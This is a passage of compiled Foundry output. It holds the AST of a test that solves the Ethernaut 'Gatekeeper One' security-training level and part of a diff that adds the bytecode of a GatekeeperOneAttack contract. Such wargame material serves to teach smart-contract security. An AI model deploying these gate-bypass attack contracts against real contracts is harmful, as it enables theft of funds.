external"}},"id":61269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"988:20:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61270,"nodeType":"ExpressionStatement","src":"988:20:132"},{"expression":{"id":61275,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61271,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61222,"src":"1018:9:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":61273,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61227,"src":"1057:5:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61272,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1030:26:132","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":61274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1030:33:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1018:45:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61276,"nodeType":"ExpressionStatement","src":"1018:45:132"},{"assignments":[61279],"declarations":[{"constant":false,"id":61279,"mutability":"mutable","name":"factory","nameLocation":"1094:7:132","nodeType":"VariableDeclaration","scope":61330,"src":"1073:28:132","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"},"typeName":{"id":61278,"nodeType":"UserDefinedTypeName","pathNode":{"id":61277,"name":"GatekeeperOneFactory","nameLocations":["1073:20:132"],"nodeType":"IdentifierPath","referencedDeclaration":52659,"src":"1073:20:132"},"referencedDeclaration":52659,"src":"1073:20:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}},"visibility":"internal"}],"id":61284,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":61282,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1104:24:132","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GatekeeperOneFactory_$52659_$","typeString":"function () returns (contract GatekeeperOneFactory)"},"typeName":{"id":61281,"nodeType":"UserDefinedTypeName","pathNode":{"id":61280,"name":"GatekeeperOneFactory","nameLocations":["1108:20:132"],"nodeType":"IdentifierPath","referencedDeclaration":52659,"src":"1108:20:132"},"referencedDeclaration":52659,"src":"1108:20:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}}},"id":61283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1104:26:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}},"nodeType":"VariableDeclarationStatement","src":"1073:57:132"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":61291,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61279,"src":"1178:7:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}],"id":61290,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1170:7:132","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61289,"name":"address","nodeType":"ElementaryTypeName","src":"1170:7:132","typeDescriptions":{}}},"id":61292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1170:16:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61288,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1164:5:132","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1164:23:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":61285,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61222,"src":"1140:9:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61287,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1150:13:132","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1140:23:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":61294,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1140:48:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61295,"nodeType":"ExpressionStatement","src":"1140:48:132"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61296,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1198:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1201:9:132","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1198:12:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61299,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1198:14:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61300,"nodeType":"ExpressionStatement","src":"1198:14:132"},{"expression":{"arguments":[{"id":61304,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"1237:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61301,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1223:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61303,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1226:10:132","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1223:13:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61305,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1223:21:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61306,"nodeType":"ExpressionStatement","src":"1223:21:132"},{"expression":{"id":61323,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61307,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61225,"src":"1254:8:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":61312,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61222,"src":"1307:9:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":61316,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61279,"src":"1332:7:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperOneFactory_$52659","typeString":"contract GatekeeperOneFactory"}],"id":61315,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1324:7:132","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61314,"name":"address","nodeType":"ElementaryTypeName","src":"1324:7:132","typeDescriptions":{}}},"id":61317,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1324:16:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61313,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1318:5:132","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":61318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1318:23:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":61319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1343:1:132","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":61311,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1287:19:132","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":61320,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1287:58:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61310,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1279:8:132","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":61309,"name":"address","nodeType":"ElementaryTypeName","src":"1279:8:132","stateMutability":"payable","typeDescriptions":{}}},"id":61321,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1279:67:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61308,"name":"GatekeeperOne","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52604,"src":"1265:13:132","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperOne_$52604_$","typeString":"type(contract GatekeeperOne)"}},"id":61322,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1265:82:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"src":"1254:93:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"id":61324,"nodeType":"ExpressionStatement","src":"1254:93:132"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":61325,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1357:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61327,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1360:9:132","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1357:12:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":61328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1357:14:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61329,"nodeType":"ExpressionStatement","src":"1357:14:132"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"780:5:132","parameters":{"id":61230,"nodeType":"ParameterList","parameters":[],"src":"785:2:132"},"returnParameters":{"id":61231,"nodeType":"ParameterList","parameters":[],"src":"795:0:132"},"scope":61393,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61352,"nodeType":"FunctionDefinition","src":"1630:137:132","nodes":[],"body":{"id":61351,"nodeType":"Block","src":"1657:110:132","nodes":[],"statements":[{"expression":{"arguments":[{"id":61338,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"1681:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61335,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1667:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1670:10:132","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1667:13:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61339,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1667:21:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61340,"nodeType":"ExpressionStatement","src":"1667:21:132"},{"expression":{"arguments":[{"arguments":[{"id":61343,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61222,"src":"1730:9:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61346,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61225,"src":"1749:8:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}],"id":61345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1741:7:132","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61344,"name":"address","nodeType":"ElementaryTypeName","src":"1741:7:132","typeDescriptions":{}}},"id":61347,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1741:17:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61342,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1710:19:132","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61348,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1710:49:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61341,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1698:11:132","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1698:62:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61350,"nodeType":"ExpressionStatement","src":"1698:62:132"}]},"documentation":{"id":61332,"nodeType":"StructuredDocumentation","src":"1562:63:132","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1639:8:132","parameters":{"id":61333,"nodeType":"ParameterList","parameters":[],"src":"1647:2:132"},"returnParameters":{"id":61334,"nodeType":"ParameterList","parameters":[],"src":"1657:0:132"},"scope":61393,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61392,"nodeType":"FunctionDefinition","src":"1822:250:132","nodes":[],"body":{"id":61391,"nodeType":"Block","src":"1850:222:132","nodes":[],"statements":[{"expression":{"arguments":[{"id":61359,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"1869:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":61360,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"1877:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61356,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1860:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61358,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1863:5:132","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15334,"src":"1860:8:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":61361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1860:24:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61362,"nodeType":"ExpressionStatement","src":"1860:24:132"},{"assignments":[61365],"declarations":[{"constant":false,"id":61365,"mutability":"mutable","name":"attacker","nameLocation":"1914:8:132","nodeType":"VariableDeclaration","scope":61391,"src":"1894:28:132","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneAttack_$49410","typeString":"contract GatekeeperOneAttack"},"typeName":{"id":61364,"nodeType":"UserDefinedTypeName","pathNode":{"id":61363,"name":"GatekeeperOneAttack","nameLocations":["1894:19:132"],"nodeType":"IdentifierPath","referencedDeclaration":49410,"src":"1894:19:132"},"referencedDeclaration":49410,"src":"1894:19:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneAttack_$49410","typeString":"contract GatekeeperOneAttack"}},"visibility":"internal"}],"id":61374,"initialValue":{"arguments":[{"arguments":[{"id":61371,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61225,"src":"1957:8:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}],"id":61370,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1949:7:132","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61369,"name":"address","nodeType":"ElementaryTypeName","src":"1949:7:132","typeDescriptions":{}}},"id":61372,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1949:17:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61368,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1925:23:132","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_GatekeeperOneAttack_$49410_$","typeString":"function (address) returns (contract GatekeeperOneAttack)"},"typeName":{"id":61367,"nodeType":"UserDefinedTypeName","pathNode":{"id":61366,"name":"GatekeeperOneAttack","nameLocations":["1929:19:132"],"nodeType":"IdentifierPath","referencedDeclaration":49410,"src":"1929:19:132"},"referencedDeclaration":49410,"src":"1929:19:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneAttack_$49410","typeString":"contract GatekeeperOneAttack"}}},"id":61373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1925:42:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOneAttack_$49410","typeString":"contract GatekeeperOneAttack"}},"nodeType":"VariableDeclarationStatement","src":"1894:73:132"},{"expression":{"arguments":[{"id":61378,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"1987:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61375,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1978:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61377,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1981:5:132","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"1978:8:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61379,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1978:16:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61380,"nodeType":"ExpressionStatement","src":"1978:16:132"},{"expression":{"arguments":[{"arguments":[{"id":61383,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61222,"src":"2035:9:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61386,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61225,"src":"2054:8:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}],"id":61385,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2046:7:132","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61384,"name":"address","nodeType":"ElementaryTypeName","src":"2046:7:132","typeDescriptions":{}}},"id":61387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2046:17:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61382,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2015:19:132","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61388,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2015:49:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61381,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2004:10:132","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61389,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2004:61:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61390,"nodeType":"ExpressionStatement","src":"2004:61:132"}]},"documentation":{"id":61353,"nodeType":"StructuredDocumentation","src":"1773:44:132","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1831:9:132","parameters":{"id":61354,"nodeType":"ParameterList","parameters":[],"src":"1840:2:132"},"returnParameters":{"id":61355,"nodeType":"ParameterList","parameters":[],"src":"1850:0:132"},"scope":61393,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":61216,"name":"Test","nameLocations":["463:4:132"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"463:4:132"},"id":61217,"nodeType":"InheritanceSpecifier","src":"463:4:132"},{"baseName":{"id":61218,"name":"Utils","nameLocations":["469:5:132"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"469:5:132"},"id":61219,"nodeType":"InheritanceSpecifier","src":"469:5:132"}],"canonicalName":"TestGatekeeperOne","contractDependencies":[49101,49410,52659,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[61393,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestGatekeeperOne","nameLocation":"442:17:132","scope":61394,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":132} \ No newline at end of file diff --git a/contracts/out/GatekeeperOneAttack.sol/GatekeeperOneAttack.json b/contracts/out/GatekeeperOneAttack.sol/GatekeeperOneAttack.json new file mode 100644 index 000000000..7167ae058 --- /dev/null +++ b/contracts/out/GatekeeperOneAttack.sol/GatekeeperOneAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"GatekeeperOneContractAddress","type":"address","internalType":"address"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161022838038061022883398101604081905261002e91610131565b5f61004261ffff3216640100000000610172565b60c01b90505f8160405160240161006991906001600160c01b031991909116815260200190565b60408051601f198184030181529190526020810180516001600160e01b03166319b8102760e11b17905290505f5b6078811015610128575f6001600160a01b0385166100b6836096610199565b6100c290615ffd610199565b846040516100d091906101b2565b5f604051808303815f8787f1925050503d805f811461010a576040519150601f19603f3d011682016040523d82523d5f602084013e61010f565b606091505b50509050801561011f5750610128565b50600101610097565b505050506101de565b5f60208284031215610141575f80fd5b81516001600160a01b0381168114610157575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b6001600160401b038181168382160190808211156101925761019261015e565b5092915050565b808201808211156101ac576101ac61015e